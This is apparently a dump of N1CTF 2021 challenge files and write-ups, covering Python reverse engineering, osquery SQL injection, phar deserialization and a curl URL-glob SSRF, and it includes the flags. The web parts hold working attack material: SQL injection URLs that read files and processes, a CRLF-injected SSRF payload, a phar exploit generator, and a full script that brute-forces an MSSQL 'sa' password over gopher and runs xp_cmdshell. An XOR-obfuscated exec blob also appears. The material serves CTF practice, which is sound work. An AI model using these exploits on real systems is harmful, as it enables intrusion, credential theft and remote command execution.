55, 40, 36, 48, 55, 40, 36, 61, 50, 40, 36, 53, 52, 60, 40, 36, 53, 52, 55, 40, 36, 53, 52, 54, 40, 36, 53, 53, 54, 40, 36, 48, 54, 40, 36, 61, 40, 36, 61, 54, 40, 36, 53, 53, 52, 40, 36, 53, 52, 54, 40, 36, 53, 53, 52, 40, 36, 61, 50, 40, 36, 53, 53, 49, 40, 36, 53, 54, 54, 40, 36, 48, 55, 40, 36, 61, 50, 40, 36, 53, 53, 61, 40, 36, 53, 54, 54, 40, 36, 53, 53, 49, 40, 36, 53, 52, 54, 40, 36, 53, 53, 54, 40, 36, 48, 49, 40, 36, 61, 50, 40, 36, 61, 54, 40, 36, 61, 50, 40, 36, 53, 52, 51, 40, 36, 61, 60, 40, 36, 53, 53, 55, 40, 36, 61, 54, 40, 36, 53, 53, 49, 40, 36, 48, 55, 40, 36, 61, 60, 40, 36, 53, 52, 55, 40, 36, 53, 52, 55, 40, 36, 53, 53, 55, 40, 36, 53, 52, 54, 40, 36, 53, 53, 54, 40, 36, 53, 53, 54, 40, 36, 48, 54, 40, 36, 48, 51, 40, 36, 61, 50, 40, 36, 53, 53, 61, 40, 36, 53, 54, 54, 40, 36, 53, 53, 49, 40, 36, 53, 52, 54, 40, 36, 53, 53, 54, 40, 36, 48, 49, 40, 36, 61, 50, 40, 36, 61, 60, 40, 36, 53, 53, 54, 40, 36, 53, 53, 61, 40, 36, 48, 55, 40, 36, 61, 51, 40, 36, 53, 53, 60, 40, 36, 53, 52, 53, 40, 36, 53, 52, 53, 40, 36, 48, 51, 40, 36, 61, 50, 40, 36, 53, 53, 61, 40, 36, 53, 54, 54, 40, 36, 53, 53, 49, 40, 36, 53, 52, 54, 40, 36, 53, 53, 54, 40, 36, 48, 49, 40, 36, 60, 55, 40, 36, 51, 50, 40, 36, 51, 48, 40, 36, 51, 51, 40, 36, 60, 51, 40, 36, 51, 52, 40, 36, 60, 53, 40, 36, 48, 55, 40, 36, 61, 50, 40, 36, 53, 53, 61, 40, 36, 53, 54, 54, 40, 36, 53, 53, 49, 40, 36, 53, 52, 54, 40, 36, 53, 53, 54, 40, 36, 48, 49, 40, 36, 61, 50, 40, 36, 61, 54, 40, 36, 61, 50, 40, 36, 53, 52, 51, 40, 36, 61, 60, 40, 36, 53, 53, 55, 40, 36, 48, 54, 40, 36, 48, 54, 40, 36, 48, 51, 40, 36, 61, 50, 40, 36, 53, 53, 61, 40, 36, 53, 54, 54, 40, 36, 53, 53, 49, 40, 36, 53, 52, 54, 40, 36, 53, 53, 54, 40, 36, 48, 49, 40, 36, 61, 50, 40, 36, 61, 54, 40, 36, 53, 52, 50, 40, 36, 53, 52, 61, 40, 36, 53, 53, 61, 40, 36, 48, 55, 40, 36, 53, 53, 53, 40, 36, 53, 52, 54, 40, 36, 53, 52, 61, 40, 36, 48, 55, 40, 36, 61, 50, 40, 36, 53, 52, 60, 40, 36, 53, 52, 55, 40, 36, 53, 52, 54, 40, 36, 53, 53, 54, 40, 36, 48, 54, 40, 36, 48, 54, 40, 36, 48, 54, 40, 36, 61, 40, 36, 53, 52, 48, 40, 36, 53, 52, 54, 40, 36, 53, 54, 54, 40, 36, 48, 52, 40, 36, 50, 54, 40, 36, 49, 52, 89, 14, 124, 57, 38, 38, 42, 110, 107, 109, 106, 44, 95, 103, 108, 118, 44, 109, 90, 55, 45, 36, 98, 107, 118, 36, 109, 36, 109, 106, 36, 124, 89, 45, 14, 103, 107, 96, 97, 119, 36, 57, 36, 95, 124, 33, 44, 109, 40, 109, 45, 36, 98, 107, 118, 36, 109, 36, 109, 106, 36, 112, 101, 102, 104, 97, 89, 14, 98, 107, 118, 36, 109, 36, 109, 106, 36, 103, 107, 96, 97, 119, 62, 97, 124, 97, 103, 44, 109, 45] 164 | z=''.join([chr(i^4) for i in z]) 165 | exec(z) 166 | 167 | 168 | 169 | 170 | -------------------------------------------------------------------------------- /Re/py/README.md: -------------------------------------------------------------------------------- 1 | ELF is packaged and encrypted by `pyinstaller`.Use `pyinstxtractor` to unpack and then use `uncompyle6` to decompile `0a5n.pyc`, from which we know that flag is a hexadecimal string with a length of 28, and the `L` and `var` modules are imported. 2 | Decrypt `PYZ-00.pyz`. 3 | 4 | ```python 5 | from pyimod02_archive import ZlibArchiveReader 6 | import zlib 7 | 8 | module = ZlibArchiveReader("./PYZ-00.pyz") 9 | PYZ_TYPE_MODULE = 0 10 | PYZ_TYPE_PKG = 1 11 | PYZ_TYPE_DATA = 2 12 | PYZ_TYPE_NSPKG = 3 13 | 14 | def extract(module, name): 15 | (typ, pos, length) = module.toc.get(name, (0, None, 0)) 16 | if pos is None: 17 | return None 18 | with module.lib: 19 | module.lib.seek(module.start + pos) 20 | obj = module.lib.read(length) 21 | try: 22 | if module.cipher: 23 | obj = module.cipher.decrypt(obj) 24 | obj = zlib.decompress(obj) 25 | if typ in (PYZ_TYPE_MODULE, PYZ_TYPE_PKG, PYZ_TYPE_NSPKG): 26 | with open("PYC/%s.pyc"%name, "wb") as f: 27 | f.write(b"\x16\x0D\x0D\x0A\x00\x00\x00\x00\x5a\x01\x00\x00") 28 | f.write(obj) 29 | print("%s OK!"%name) 30 | except EOFError as e: 31 | pass 32 | 33 | for k, v in module.toc.items(): 34 | extract(module, k) 35 | ``` 36 | 37 | Then decompile `var.pyc` to get the variable. 38 | 39 | ![image-20211121171733796](https://github.com/Nu1LCTF/n1ctf-2021/blob/main/Re/py/images/image-20211121171733796.png) 40 | 41 | Check `opcode.pyc` and found that the opcode of some operators has been modified (`^` -> `+`, `+` ->` %` ... ) 42 | 43 | Modify the opcode map of `pycdc` and try to decompile `L.pyc`, but it fails. Disassemble `L.pyc` with `pycdas`. 44 | 45 | ![image-2021](https://github.com/Nu1LCTF/n1ctf-2021/blob/main/Re/py/images/image-20211122104824479.png) 46 | 47 | Get the code from these bytecode. 48 | 49 | ```python 50 | z = [105, 103, 123, 34, 63, 34, 50, 8, 110, 107, 96, 97, 34, 63, 34, 97, 118, 123, 114, 51 | ... 52 | 111, 103, 111, 97, 114, 123, 8, 105, 103, 123, 34, 41, 63, 34, 51] 53 | z=''.join([chr(i^2) for i in z]) 54 | exec(z) 55 | 56 | z = [112, 101, 102, 104, 97, 57, 95, 38, 98, 53, 38, 40, 36, 38, 98, 54, 38, 40, 36, 38, 57 | ... 58 | 98, 107, 118, 36, 109, 36, 109, 106, 36, 103, 107, 96, 97, 119, 62, 97, 124, 97, 103, 44, 109, 45] 59 | z=''.join([chr(i^4) for i in z]) 60 | exec(z) 61 | ``` 62 | 63 | exec will execute the following code. 64 | 65 | ```python 66 | key = 0 67 | libc = ctypes.CDLL("libc.so.6") 68 | _ptrace = libc.ptrace 69 | key=_ptrace(0, 0, 1, 0) 70 | _memcpy = libc.memcpy 71 | key += 1 72 | 73 | table=["f1", "f2", "c2.__add__", "c1.s1", "c2.__mul__", "f3"] 74 | x="""address=id(%s.__code__.co_code)+bytes.__basicsize__-1 75 | codes=list(%s.__code__.co_code) 76 | for i in range(len(codes)):codes[i]^=key 77 | codes=bytearray(codes) 78 | buff=(ctypes.c_byte*len(codes)).from_buffer(codes) 79 | _memcpy(ctypes.c_char_p(address),ctypes.cast(buff,ctypes.POINTER(ctypes.c_char)),ctypes.c_int(len(codes))) 80 | key+=1""" 81 | codes = [x%(i,i) for i in table] 82 | for i in codes:exec(i) 83 | ``` 84 | 85 | Read the code to know that the bytecode will be decrypted when importing module `L`. 86 | 87 | We can directly decrypt the bytecode in the `L.pyc`, or dump the decrypted bytecode from the process. 88 | 89 | Here we directly decrypt the bytecode in the pyc file. 90 | 91 | ```python 92 | # mylib.py 93 | import marshal 94 | 95 | f = open('./L.pyc', 'rb') 96 | 97 | f.read(12) 98 | code = marshal.load(f) 99 | 100 | def decrypt(code_object, key): 101 | code=list(code_object) 102 | for i in range(len(code)): 103 | code[i]^=key 104 | return bytearray(code) 105 | 106 | def decrypt_code(): 107 | code.co_consts[2].co_code = decrypt(code.co_consts[2].co_code, 1) # f1 108 | code.co_consts[4].co_code = decrypt(code.co_consts[4].co_code, 2) # f2 109 | code.co_consts[8].co_consts[6].co_code = decrypt(code.co_consts[8].co_consts[6].co_code, 3) # c2.__add__ 110 | code.co_consts[6].co_consts[3].co_code = decrypt(code.co_consts[6].co_consts[3].co_code, 4) # c1.s1 111 | code.co_consts[8].co_consts[8].co_code = decrypt(code.co_consts[8].co_consts[8].co_code, 5) # c2.__mul__ 112 | code.co_consts[10].co_code = decrypt(code.co_consts[10].co_code, 6) # f3 113 | 114 | decrypt_code() 115 | 116 | ff = open('dumpss.pyc', 'wb') 117 | ff.write(b"\x16\x0D\x0D\x0A\x00\x00\x00\x00\x5a\x01\x00\x00") 118 | marshal.dump(code, ff) 119 | ``` 120 | 121 | Call the api in libpython to run the python script. 122 | 123 | ```c 124 | #include 125 | #include 126 | 127 | typedef void (func_void)(); 128 | typedef void (func_str)(char *); 129 | 130 | int main(int argc, char *argv[]) { 131 | void * handle = NULL; 132 | dlopen("./libcrypto.so.1.0.0", RTLD_LOCAL | RTLD_NOW); 133 | dlopen("./libssl.so.1.0.0", RTLD_LOCAL | RTLD_NOW); 134 | handle = dlopen("./libpython3.5m.so", RTLD_LOCAL | RTLD_NOW ); 135 | 136 | func_void *Py_Initialize = (func_void *)dlsym(handle, "Py_Initialize"); 137 | func_str *PyRun_SimpleString = (func_str *)dlsym(handle, "PyRun_SimpleString"); 138 | func_void *Py_Finalize = (func_void *)dlsym(handle, "Py_Finalize"); 139 | 140 | Py_Initialize(); 141 | 142 | PyRun_SimpleString("import mylib"); 143 | 144 | Py_Finalize(); 145 | 146 | return 0; 147 | } 148 | ``` 149 | 150 | After decrypting the bytecode, it can be decompiled, but it is found that varname is some invisible characters. Modify varname to make it readable. 151 | 152 | ```python 153 | tot = 0 154 | def generate_names(size): 155 | names = [] 156 | global tot 157 | for i in range(size): 158 | names.append("var_%d"%tot) 159 | tot += 1 160 | return names 161 | 162 | def modify_varname(code_object): 163 | for i in range(len(code_object.co_consts)): 164 | if str(type(code_object.co_consts[i])) == "": 165 | if len(code_object.co_consts[i].co_varnames) > 1: 166 | if code_object.co_consts[i].co_varnames[0] == "self": 167 | names = generate_names(len(code_object.co_consts[i].co_varnames) - 1) 168 | names = ["self"] + names 169 | code_object.co_consts[i].co_varnames = tuple(names) 170 | else: 171 | names = generate_names(len(code_object.co_consts[i].co_varnames)) 172 | code_object.co_consts[i].co_varnames = tuple(names) 173 | modify_varname(code_object.co_consts[i]) 174 | 175 | modify_varname(code) 176 | ``` 177 | 178 | Then decompile `dumpss.pyc` to get the source code. 179 | 180 | ![image-20211122093925885](https://github.com/Nu1LCTF/n1ctf-2021/blob/main/Re/py/images/image-20211122093925885.png) 181 | 182 | From the code we know that this is a Python library for elliptic curve crypto. 183 | 184 | Simplify the program, we get the following sage code. 185 | 186 | ```python 187 | p = 1461501637330902918203684832716283019651637554291 188 | a = 1461501637330902918203684832716283019651637554289 189 | b = 33 190 | Gx = 1409958218732090440323571427282941405264992526638 191 | Gy = 1003170987214086410878112234291438209997203387689 192 | 193 | E = EllipticCurve(GF(p), [a, b]) 194 | G = E(Gx, Gy) 195 | 196 | flag = 'xxxxxxxxxxxxx' 197 | k = int('0x' + flag[::-1], 16) 198 | 199 | K = k * G 200 | _x, _y = K.xy() 201 | assert _x == 418314664634765473100948993230460851448740309937 202 | assert _y == 1014751162621960915383962534690487909615594365554 203 | ``` 204 | 205 | Use Pohlig-Hellman attack to get k. 206 | 207 | ```python 208 | p = 1461501637330902918203684832716283019651637554291 209 | a = 1461501637330902918203684832716283019651637554289 210 | b = 33 211 | 212 | Gx = 1409958218732090440323571427282941405264992526638 213 | Gy = 1003170987214086410878112234291438209997203387689 214 | 215 | _x = 418314664634765473100948993230460851448740309937 216 | _y = 1014751162621960915383962534690487909615594365554 217 | 218 | E = EllipticCurve(GF(p), [a, b]) 219 | G = E(Gx, Gy) 220 | n = E.order() 221 | h = E(_x, _y) 222 | 223 | factors = list(factor(n)) 224 | m = 1 225 | moduli = [] 226 | remainders = [] 227 | 228 | print(factors) 229 | 230 | for i, j in factors: 231 | Qi = i**j 232 | g2 = G*(n//Qi) 233 | q2 = h*(n//Qi) 234 | ri = discrete_log(q2, g2, operation='+') 235 | remainders.append(ri) 236 | moduli.append(Qi) 237 | m *= Qi 238 | 239 | k = hex(crt(remainders, moduli))[2:] 240 | k = k[::-1] 241 | print("n1ctf{" + k + "}") 242 | # n1ctf{304e6e4f3155756f493169304c6c} 243 | ``` 244 | 245 | -------------------------------------------------------------------------------- /Re/py/images/image-20211121171733796.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Nu1LCTF/n1ctf-2021/84a3fff50ee0ef2f1fece112c75104600cc86a5d/Re/py/images/image-20211121171733796.png -------------------------------------------------------------------------------- /Re/py/images/image-20211122093925885.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Nu1LCTF/n1ctf-2021/84a3fff50ee0ef2f1fece112c75104600cc86a5d/Re/py/images/image-20211122093925885.png -------------------------------------------------------------------------------- /Re/py/images/image-20211122104824479.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Nu1LCTF/n1ctf-2021/84a3fff50ee0ef2f1fece112c75104600cc86a5d/Re/py/images/image-20211122104824479.png -------------------------------------------------------------------------------- /Web/QQQueryyy_all_the_things/README.md: -------------------------------------------------------------------------------- 1 | ## QQQueryyy_all_the_things 2 | ### SQL injection 3 | ``` 4 | http://8.218.140.54:12321/?str=world%27;select%20123;-- 5 | -> SELECT 'world';select 123;--' as hello; 6 | ``` 7 | ### Identify osquery 8 | ``` 9 | // ref: https://www.sqlite.org/schematab.html 10 | 11 | http://8.218.140.54:12321/?str=world%27;select%20*%20from%20sqlite_temp_master;-- 12 | -> select * from sqlite_temp_master; 13 | ``` 14 | Search these strange tables on google (eg. azure_instance_tags). 15 | You will get `https://github.com/osquery/osquery/blob/master/specs/azure_instance_tags.table`. 16 | 17 | ### List directories 18 | ``` 19 | // ref: https://osquery.io/schema/5.0.1/ 20 | 21 | http://8.218.140.54:12321/?str=world%27;select%20*%20from%20file%20where%20directory=%22/%22;-- 22 | -> select * from file where directory="/"; 23 | ``` 24 | You will get `/flag` (0500; "u/gid":"0") and `/readflag` (4555; "u/gid":"0"). 25 | So we do not have permission to read `/flag`, we need a RCE! 26 | 27 | ### List services 28 | ``` 29 | // ref: https://osquery.io/schema/5.0.1/ 30 | 31 | http://8.218.140.54:12321/?str=world%27;select%20*%20from%20listening_ports;-- 32 | -> select * from listening_ports; 33 | ``` 34 | We get `{"address":"0.0.0.0","family":"2","fd":"-1","net_namespace":"0","path":"","pid":"-1","port":"16324","protocol":"6","socket":"10554002"}` 35 | 36 | ``` 37 | http://8.218.140.54:12321/?str=world%27;select%20*%20from%20processes;-- 38 | -> select * from processes; 39 | ``` 40 | We get `{"cmdline":"/usr/sbin/xinetd -pidfile /run/xinetd.pid -stayalive -inetd_compat - ...` 41 | 42 | ``` 43 | http://8.218.140.54:12321/?str=world%27;select%20*%20from%20file%20where%20directory=%22/etc/xinetd.d/%22;-- 44 | -> select * from file where directory="/etc/xinetd.d/"; 45 | ``` 46 | We get `"directory":"/etc/xinetd.d/","filename":"ctf","gid":"0"` 47 | 48 | ### Read files 49 | You could read config files directly. 50 | ``` 51 | http://8.218.140.54:12321/?str=world%27;select%20*%20from%20augeas%20where%20path=%22/etc/xinetd.d/ctf%22;-- 52 | -> select * from augeas where path="/etc/xinetd.d/ctf"; 53 | ``` 54 | You could use yara rules to leak arbitrary file contents. 55 | ``` 56 | select * from yara where path = '/etc/xinetd.d/ctf' and sigrule = 'rule rua { condition: uint8(1) < 0x70 }' 57 | ``` 58 | Anyway, you could get `/src/iotjs/build/x86_64-linux/debug/bin/iotjs /src/iotjs/tools/repl.js`. 59 | 60 | https://github.com/jerryscript-project/iotjs 61 | 62 | ### Exploit iotjs 63 | iotjs is started on port 16324. 64 | You could get RCE through NAPI, write evil modules to /tmp/ and load it `require(xxx)`, 65 | @SupperGuesser write "/proc/self/mem" to change the plt to get shell. 66 | 67 | ### SSRF 68 | ``` 69 | // ref: https://osquery.io/schema/5.0.1/ 70 | -> select * from curl where url="http://127.0.0.1:16324/" and user_agent="\n\n\n\n\n\n\n\n\n\n\n{evil_js_code}\n\n\n\n\n\n\n\n\n\n\n"; 71 | ``` 72 | Now, we could have a chance to interact with `port 16234(iotjs)`, however, we need to bypass this https://github.com/jerryscript-project/iotjs/blob/master/tools/repl.js#L39 trough crlf injection `"\n"*10` in user_agent. 73 | 74 | 75 | 76 | 77 | 78 | -------------------------------------------------------------------------------- /Web/QQQueryyy_all_the_things/source/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:18.04 2 | 3 | RUN echo "deb http://mirrors.aliyun.com/ubuntu/ bionic main restricted universe multiverse" > /etc/apt/sources.list 4 | RUN echo "deb http://mirrors.aliyun.com/ubuntu/ bionic-security main restricted universe multiverse" >> /etc/apt/sources.list 5 | RUN echo "deb http://mirrors.aliyun.com/ubuntu/ bionic-updates main restricted universe multiverse" >> /etc/apt/sources.list 6 | RUN echo "deb http://mirrors.aliyun.com/ubuntu/ bionic-proposed main restricted universe multiverse" >> /etc/apt/sources.list 7 | RUN echo "deb http://mirrors.aliyun.com/ubuntu/ bionic-backports main restricted universe multiverse" >> /etc/apt/sources.list 8 | RUN echo "Asia/Shanghai" > /etc/timezone 9 | ENV TZ=Asia/Shanghai 10 | RUN ln -snf /usr/share/zoneinfo/$TZ /etc/localtime && echo $TZ > /etc/timezone 11 | RUN apt-get update && apt-get -y upgrade 12 | RUN apt-get -y install curl 13 | RUN curl -k https://pkg.osquery.io/deb/osquery_5.0.1-1.linux_amd64.deb -o osquery.deb 14 | RUN dpkg -i osquery.deb 15 | RUN apt-get install -y lib32z1 xinetd build-essential 16 | RUN apt-get install -y libsystemd-dev gyp cmake valgrind 17 | RUN apt-get install -y tzdata 18 | RUN apt-get update 19 | RUN apt-get install -y git vim php apache2 20 | 21 | RUN mkdir -p /src/ 22 | WORKDIR /src/ 23 | RUN git clone https://github.com.cnpmjs.org/jerryscript-project/iotjs.git 24 | RUN cd iotjs/deps/ && git clone https://github.com.cnpmjs.org/Samsung/http-parser.git 25 | RUN cd iotjs/deps/ && git clone https://github.com.cnpmjs.org/jerryscript-project/jerryscript.git jerry 26 | RUN cd iotjs/deps/ && git clone https://github.com.cnpmjs.org/Samsung/libtuv.git 27 | RUN cd iotjs/deps/ && git clone https://github.com.cnpmjs.org/ARMmbed/mbedtls.git 28 | RUN cd iotjs && python ./tools/build.py --cmake-param=-DENABLE_MODULE_NAPI=ON 29 | WORKDIR / 30 | 31 | RUN useradd -m ctf 32 | 33 | COPY ./ctf.xinetd /etc/xinetd.d/ctf 34 | RUN echo "Blocked by ctf_xinetd" > /etc/banner_fail 35 | RUN echo 'root - nproc 1500' >>/etc/security/limits.conf 36 | COPY flag /flag 37 | RUN chmod 500 /flag 38 | COPY readflag /readflag 39 | RUN chmod 555 /readflag 40 | RUN chmod u+s /readflag 41 | COPY start.sh /root/start.sh 42 | RUN chmod 500 /root/start.sh 43 | RUN chmod 555 -R /home/ctf 44 | RUN chmod 555 -R /src/ 45 | 46 | RUN rm /var/www/html/index.html 47 | COPY index.php /var/www/html/index.php 48 | RUN chmod -R 555 /var/www/html/ 49 | 50 | CMD ["/root/start.sh"] -------------------------------------------------------------------------------- /Web/QQQueryyy_all_the_things/source/README.md: -------------------------------------------------------------------------------- 1 | ### build 2 | docker build -t n1ctf2022 . 3 | ### run 4 | docker run -d restart=always -p 0.0.0.0:12321:80/tcp n1ctf2022 5 | -------------------------------------------------------------------------------- /Web/QQQueryyy_all_the_things/source/ctf.xinetd: -------------------------------------------------------------------------------- 1 | service ctf 2 | { 3 | disable = no 4 | socket_type = stream 5 | protocol = tcp 6 | wait = no 7 | user = root 8 | type = UNLISTED 9 | port = 16324 10 | bind = 0.0.0.0 11 | server = /usr/sbin/chroot 12 | # replace helloworld to your program 13 | server_args = --userspec=1000:1000 / /src/iotjs/build/x86_64-linux/debug/bin/iotjs /src/iotjs/tools/repl.js 14 | banner_fail = /etc/banner_fail 15 | # safety options 16 | #rlimit_as = 1024M # the Address Space resource limit for the service 17 | #access_times = 2:00-9:00 12:00-24:00 18 | #Instances=20 #process limit 19 | #per_source=5 #link ip limit 20 | } 21 | -------------------------------------------------------------------------------- /Web/QQQueryyy_all_the_things/source/flag: -------------------------------------------------------------------------------- 1 | n1ctf{3894619c1b94abe1df7fa7948fa5028a5eba3b98408624ebc02163ad72382c39} -------------------------------------------------------------------------------- /Web/QQQueryyy_all_the_things/source/index.php: -------------------------------------------------------------------------------- 1 | "; 6 | $args = escapeshellarg($sql_query); 7 | system("echo ".$args." | osqueryi --json" ); 8 | ?> -------------------------------------------------------------------------------- /Web/QQQueryyy_all_the_things/source/info.md: -------------------------------------------------------------------------------- 1 | name: QQQueryyy all the things 2 | tag: Web 3 | flag: n1ctf{3894619c1b94abe1df7fa7948fa5028a5eba3b98408624ebc02163ad72382c39} 4 | desc: Do you like Be----lla? 5 | -------------------------------------------------------------------------------- /Web/QQQueryyy_all_the_things/source/readflag: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Nu1LCTF/n1ctf-2021/84a3fff50ee0ef2f1fece112c75104600cc86a5d/Web/QQQueryyy_all_the_things/source/readflag -------------------------------------------------------------------------------- /Web/QQQueryyy_all_the_things/source/start.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | service apache2 start 3 | /etc/init.d/xinetd start 4 | sleep infinity; -------------------------------------------------------------------------------- /Web/README.md: -------------------------------------------------------------------------------- 1 | ### Web 2 | -------------------------------------------------------------------------------- /Web/easyphp/wp.md: -------------------------------------------------------------------------------- 1 | exp.php 2 | 3 | ``` 4 | _flag; 10 | } 11 | } 12 | 13 | $ip = "172.17.0.1"; 14 | $log = 'Time: ' . date('Y-m-d H:i:s') . ' IP: [' . $ip . '], REQUEST: [], CONTENT: ['; 15 | $data_len = strlen($log); 16 | 17 | if(!file_exists("./phar.tar")){ 18 | $phar = new PharData(dirname(__FILE__) . "/phar.tar", 0, "phartest", Phar::TAR); 19 | $phar->startBuffering(); 20 | $o = new FLAG(); 21 | $phar->setMetadata($o); 22 | $phar->addFromString($log, "test"); 23 | $phar->stopBuffering(); 24 | 25 | file_put_contents("./phar.tar", "]\n", FILE_APPEND); 26 | } 27 | 28 | $exp = file_get_contents("./phar.tar"); 29 | $post_exp = substr($exp, $data_len); 30 | echo rawurlencode($post_exp); 31 | 32 | // var_dump(is_dir("phar://./phar.tar")); 33 | //var_dump(is_dir("phar://./../../www/log/127.0.0.1/look_www.log")); 34 | ``` 35 | 36 | exp.py 37 | 38 | ``` 39 | import os 40 | import requests 41 | from urllib.parse import unquote 42 | 43 | def execCmd(cmd): 44 | r = os.popen(cmd) 45 | text = r.read() 46 | r.close() 47 | return text 48 | 49 | headers = { 50 | "X-Forwarded-For": "172.17.0.1" 51 | } 52 | 53 | # write evil log file 54 | exp = execCmd("php exp.php") 55 | r = requests.post("http://127.0.0.1:53340/", unquote(exp), headers=headers) 56 | print(r.text) 57 | 58 | # exp 59 | r = requests.get("http://127.0.0.1:53340/?log_type=test&file=phar://./log/172.17.0.1/look_www.log") 60 | # r = requests.get("http://testabc.com:10082/?log_type=test&file=phar://./log/127.0.0.1/phar.tar") 61 | print(r.text) 62 | ``` 63 | -------------------------------------------------------------------------------- /Web/funny_web/README.md: -------------------------------------------------------------------------------- 1 | ## Funny_web 2 | 3 | Reference:[https://github.com/curl/curl/blob/master/src/tool_urlglob.c#L360](https://github.com/curl/curl/blob/master/src/tool_urlglob.c#L360) 4 | 5 | bypass url check:`'fi[k-m]e:///hint.txt'` 6 | 7 | bypass output check:`'fi[k-m]e:///{hint.txt,7f7d9107-a48b-284e-a29e-66c871bf5706}'` 8 | 9 | ``` 10 | mssql_host:10.11.22.13 11 | mssql_port:1433 12 | mssql_username:sa 13 | mssql_password in /password.txt 14 | flag in HKEY_LOCAL_MACHINE\SOFTWARE\N1CTF2021 15 | ``` 16 | 17 | read mssql password list: `fi[k-m]e:///{password.txt,7f7d9107-a48b-284e-a29e-66c871bf5706}` 18 | 19 | ``` 20 | 9fb8da74-5186-4471-9ee5-155539f84e14 21 | 8bd2580b-0b8e-4fbf-8b14-dcebfe7e62b7 22 | cc689ef1-3e80-440e-a448-2558bc031c9b 23 | 7ce9d6fc-5ce3-4cd7-acb7-1e37651d26a5 24 | d0e7a7fa-6b75-4998-a87d-736170a03110 25 | a75d0240-38d2-47cc-ba6d-f71a2192a675 26 | 5514193a-bd35-4b17-98ee-d6e71e1f73dc 27 | .... 28 | ``` 29 | 30 | So we need to construct the data packet of the `TDS` protocol. 31 | 32 | we can refer to the following url 33 | 34 | https://www.freetds.org/tds.html 35 | 36 | https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tds/60f56408-0188-4cd5-8b90-25c6f2423868 37 | 38 | https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tds/773a62b6-ee89-4c02-9e5e-344882630aac 39 | 40 | https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tds/f2026cd3-9a46-4a3f-9a08-f63140bcbbe3 41 | 42 | exp: `exp.py` 43 | -------------------------------------------------------------------------------- /Web/funny_web/exp.py: -------------------------------------------------------------------------------- 1 | import struct 2 | from pwn import * 3 | import requests 4 | 5 | 6 | def tds7_enc(password): 7 | encrypted_pass = "" 8 | for i in range(len(password)): 9 | encrypted_pass += chr((((ord(password[i]) << 4) | (ord(password[i]) >> 4)) ^ 0xA5) % 256) + "\xa5" 10 | return encrypted_pass 11 | 12 | 13 | def tds_prelogin(): 14 | prelogin_packet = "\x12\x01\x00\x2f\x00\x00\x01\x00\x00\x00\x1a\x00\x06\x01\x00\x20\x00\x01\x02\x00\x21\x00\x01\x03\x00\x22\x00\x04\x04\x00\x26\x00\x01\xff\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00" 15 | return prelogin_packet 16 | 17 | 18 | def tds_login(mssql_username, mssql_password, mssql_database): 19 | login_packet_part1 = \ 20 | "\x10\x01{packet_len}\x00\x00\x01\x00" + \ 21 | "{total_packet_len}\x04\x00\x00\x74" + \ 22 | "\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 23 | 24 | login_packet_part2 = \ 25 | "{client_offset}{client_len}" + \ 26 | "{username_offset}{username_len}" + \ 27 | "{password_offset}{password_len}" + \ 28 | "{app_offset}{app_len}" + \ 29 | "{server_offset}{server_len}" + \ 30 | "{unknown_offset}{unknown_len}" + \ 31 | "{library_offset}{library_len}" + \ 32 | "{locale_offset}{locale_len}" + \ 33 | "{database_offset}{database_len}" + \ 34 | "{client_mac}" + \ 35 | "{packet_len}{packet_len}{packet_len}" + \ 36 | "\x00\x00\x00\x00" + \ 37 | "{client_name}{username}{password}{app_name}{server_name}{library_name}{database_name}" 38 | 39 | client_name = "n1ctf".encode("utf-16-le") 40 | username = mssql_username.encode("utf-16-le") 41 | password = tds7_enc(mssql_password) 42 | app_name = "n1ctf".encode("utf-16-le") 43 | server_name = "localhost".encode("utf-16-le") 44 | library_name = "n1ctf".encode("utf-16-le") 45 | database_name = mssql_database.encode("utf-16-le") 46 | client_mac = "\x00\x00\x00\x00\x00\x00" 47 | 48 | packet_len = 102 + len(client_name) + len(username) + len(password) + len(app_name) + len(server_name) + len( 49 | library_name) + len(database_name) 50 | total_packet_len = packet_len - 8 51 | packed_packet_len = struct.pack(">h", packet_len) 52 | packed_total_packet_len = struct.pack("h", sql_len)) 127 | sql_batch_packet += "\x16\x00\x00\x00\x12\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00" 128 | sql_batch_packet += sql 129 | return sql_batch_packet 130 | 131 | 132 | def create_packet(password, sql): 133 | prelogin_packet = tds_prelogin() 134 | login_packet = tds_login("sa", password, "master") 135 | query = tds_sql_batch(sql) 136 | packet = prelogin_packet + login_packet + query 137 | return urlencode(packet) 138 | 139 | def send(sess, sess_id, password): 140 | sql = "select 'this_is_test_text';" 141 | packet = create_packet(password, sql) 142 | payload = "[e-h]opher://10.11.22.9:1433/_{%s,%s}" % (sess_id, packet) 143 | data = {"url": payload} 144 | text = sess.post("http://129.226.12.144/", data=data).content 145 | 146 | if "this_is_test_text" in text: 147 | print "password: " + password 148 | sql = "exec master..xp_cmdshell 'cmd /c reg query \"HKEY_LOCAL_MACHINE\SOFTWARE\N1CTF2021\" /s'" 149 | packet = create_packet(password, sql) 150 | payload = "[e-h]opher://10.11.22.9:1433/_{%s,%s}" % (sess_id, packet) 151 | data = {"url": payload} 152 | text = sess.post("http://129.226.12.144/", data=data).content 153 | print text 154 | exit(0) 155 | 156 | if "__main__" == __name__: 157 | sess = requests.session() 158 | text = sess.get("http://129.226.12.144/").content 159 | reg = re.compile("(.*)
") 160 | sess_id = reg.findall(text)[0] 161 | 162 | for password in open("./password.txt"): 163 | send(sess, sess_id, password.strip()) -------------------------------------------------------------------------------- /Web/funny_web/index.php: -------------------------------------------------------------------------------- 1 | "; 36 | 37 | if (Check($_POST["url"])) { 38 | $url = escapeshellarg($_POST["url"]); 39 | $cmd = "/usr/bin/curl ${url} --output - -m 3 --connect-timeout 3"; 40 | echo "your command: " . $cmd . "
